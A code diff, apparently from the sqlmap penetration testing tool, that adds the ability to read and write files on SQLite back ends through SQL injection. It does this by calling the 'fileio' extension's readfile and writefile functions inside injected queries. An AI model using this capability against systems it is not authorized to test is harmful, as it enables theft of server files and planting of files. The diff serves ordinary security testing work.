Implementing file read/write support for SQLite (fileio extension)

lib/core/settings.py

@@ -20,7 +20,7 @@ from lib.core.enums import OS
 from thirdparty import six
 
 # sqlmap version (<major>.<minor>.<month>.<monthly commit>)
-VERSION = "1.10.8.46"
+VERSION = "1.10.8.47"
 TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
 TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
 VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)

plugins/dbms/sqlite/filesystem.py

@@ -5,14 +5,85 @@ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
 See the file 'LICENSE' for copying permission
 """
 
+from lib.core.common import singleTimeWarnMessage
+from lib.core.data import kb
+from lib.core.data import logger
+from lib.core.decorators import cachedmethod
+from lib.core.enums import CHARSET_TYPE
+from lib.core.enums import EXPECTED
+from lib.core.enums import PLACE
 from lib.core.exception import SqlmapUnsupportedFeatureException
+from lib.request import inject
 from plugins.generic.filesystem import Filesystem as GenericFilesystem
 
 class Filesystem(GenericFilesystem):
-    def readFile(self, remoteFile):
-        errMsg = "on SQLite it is not possible to read files"
-        raise SqlmapUnsupportedFeatureException(errMsg)
+    @cachedmethod
+    def _checkFunction(self, name):
+        """
+        Checks for the presence of a specific SQL function inside the back-end
+        DBMS (e.g. 'readfile'/'writefile' from the non-core 'fileio' extension,
+        as the sqlite3 command line client has those built in, while the host
+        application usually doesn't)
+        """
 
-    def writeFile(self, localFile, remoteFile, fileType=None, forceCheck=False):
-        errMsg = "on SQLite it is not possible to write files"
-        raise SqlmapUnsupportedFeatureException(errMsg)
+        return inject.checkBooleanExpression("(SELECT COUNT(*) FROM pragma_function_list WHERE name='%s')>0" % name)
+
+    def nonStackedReadFile(self, remoteFile):
+        if not self._checkFunction("readfile"):
+            errMsg = "on SQLite it is not possible to read files without "
+            errMsg += "the 'fileio' extension function 'readfile' being "
+            errMsg += "available inside the back-end DBMS"
+            raise SqlmapUnsupportedFeatureException(errMsg)
+
+        if not kb.bruteMode:
+            infoMsg = "fetching file: '%s'" % remoteFile
+            logger.info(infoMsg)
+
+        return inject.getValue("HEX(readfile('%s'))" % remoteFile, charsetType=CHARSET_TYPE.HEXADECIMAL)
+
+    def stackedReadFile(self, remoteFile):
+        return self.nonStackedReadFile(remoteFile)
+
+    def nonStackedWriteFile(self, localFile, remoteFile, fileType, forceCheck=False):
+        if not self._checkFunction("writefile"):
+            errMsg = "on SQLite it is not possible to write files without "
+            errMsg += "the 'fileio' extension function 'writefile' being "
+            errMsg += "available inside the back-end DBMS"
+            raise SqlmapUnsupportedFeatureException(errMsg)
+
+        logger.debug("encoding file to its hexadecimal string value")
+
+        fcEncodedList = self.fileEncode(localFile, "hex", True)
+        fcEncodedStr = fcEncodedList[0][2:]
+        fcEncodedStrLen = len(fcEncodedStr)
+
+        if kb.injection.place == PLACE.GET and fcEncodedStrLen > 8000:
+            warnMsg = "the injection is on a GET parameter and the file "
+            warnMsg += "to be written hexadecimal value is %d " % fcEncodedStrLen
+            warnMsg += "bytes, this might cause errors in the file "
+            warnMsg += "writing process"
+            logger.warning(warnMsg)
+
+        debugMsg = "exporting the %s file content to file '%s'" % (fileType, remoteFile)
+        logger.debug(debugMsg)
+
+        # Note: 'unhex' (SQLite >= 3.41.0) keeps the write binary-safe; the hex
+        # string survives sqlmap's string escaping (it becomes CHAR(...) of the
+        # ASCII hex digits, which 'unhex' decodes back to the original bytes)
+        if self._checkFunction("unhex"):
+            content = "unhex('%s')" % fcEncodedStr
+        else:
+            warnMsg = "back-end DBMS does not have the 'unhex' function "
+            warnMsg += "(SQLite >= 3.41.0); the file will be written from a "
+            warnMsg += "textual value and non-ASCII bytes may get corrupted"
+            singleTimeWarnMessage(warnMsg)
+
+            with open(localFile, "rb") as f:
+                content = "'%s'" % f.read().decode("latin-1")
+
+        inject.getValue("writefile('%s',%s)" % (remoteFile, content), expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)
+
+        return self.askCheckWrittenFile(localFile, remoteFile, forceCheck)
+
+    def stackedWriteFile(self, localFile, remoteFile, fileType, forceCheck=False):
+        return self.nonStackedWriteFile(localFile, remoteFile, fileType, forceCheck)

plugins/dbms/sqlite/fingerprint.py

@@ -108,5 +108,12 @@ class Fingerprint(GenericFingerprint):
 
             return False
 
+    def checkDbmsOs(self, detailed=False):
+        if Backend.getOs():
+            infoMsg = "the back-end DBMS operating system is %s" % Backend.getOs()
+            logger.info(infoMsg)
+        else:
+            self.userChooseDbmsOs()
+
     def forceDbmsEnum(self):
         conf.db = "%s%s" % (DBMS.SQLITE, METADB_SUFFIX)

plugins/generic/filesystem.py

@@ -56,6 +56,9 @@ class Filesystem(object):
         elif Backend.isDbms(DBMS.PGSQL) and not fileRead:
             lengthQuery = "SELECT SUM(LENGTH(data)) FROM pg_largeobject WHERE loid=%d" % self.oid
 
+        elif Backend.isDbms(DBMS.SQLITE):
+            lengthQuery = "LENGTH(readfile('%s'))" % remoteFile
+
         elif Backend.isDbms(DBMS.MSSQL):
             self.createSupportTbl(self.fileTblName, self.tblField, "VARBINARY(MAX)")
             inject.goStacked("INSERT INTO %s(%s) SELECT %s FROM OPENROWSET(BULK '%s', SINGLE_BLOB) AS %s(%s)" % (self.fileTblName, self.tblField, self.tblField, remoteFile, self.fileTblName, self.tblField))
@@ -213,6 +216,11 @@ class Filesystem(object):
         errMsg += "into the specific DBMS plugin"
         raise SqlmapUndefinedMethod(errMsg)
 
+    def nonStackedWriteFile(self, localFile, remoteFile, fileType, forceCheck=False):
+        errMsg = "'nonStackedWriteFile' method must be defined "
+        errMsg += "into the specific DBMS plugin"
+        raise SqlmapUndefinedMethod(errMsg)
+
     def stackedWriteFile(self, localFile, remoteFile, fileType, forceCheck=False):
         errMsg = "'stackedWriteFile' method must be defined "
         errMsg += "into the specific DBMS plugin"
@@ -234,7 +242,7 @@ class Filesystem(object):
                     logger.debug(debugMsg)
 
                 fileContent = self.stackedReadFile(remoteFile)
-            elif Backend.isDbms(DBMS.MYSQL) or Backend.isDbms(DBMS.PGSQL) or Backend.isDbms(DBMS.H2):
+            elif Backend.isDbms(DBMS.MYSQL) or Backend.isDbms(DBMS.PGSQL) or Backend.isDbms(DBMS.H2) or Backend.isDbms(DBMS.SQLITE):
                 debugMsg = "going to try to read the file with non-stacked query "
                 debugMsg += "SQL injection technique"
                 logger.debug(debugMsg)
@@ -321,6 +329,12 @@ class Filesystem(object):
             logger.debug(debugMsg)
 
             written = self.linesTerminatedWriteFile(localFile, remoteFile, fileType, forceCheck)
+        elif Backend.isDbms(DBMS.SQLITE):
+            debugMsg = "going to upload the file '%s' with " % fileType
+            debugMsg += "'writefile' function"
+            logger.debug(debugMsg)
+
+            written = self.nonStackedWriteFile(localFile, remoteFile, fileType, forceCheck)
         else:
             errMsg = "none of the SQL injection techniques detected can "
             errMsg += "be used to write files to the underlying file "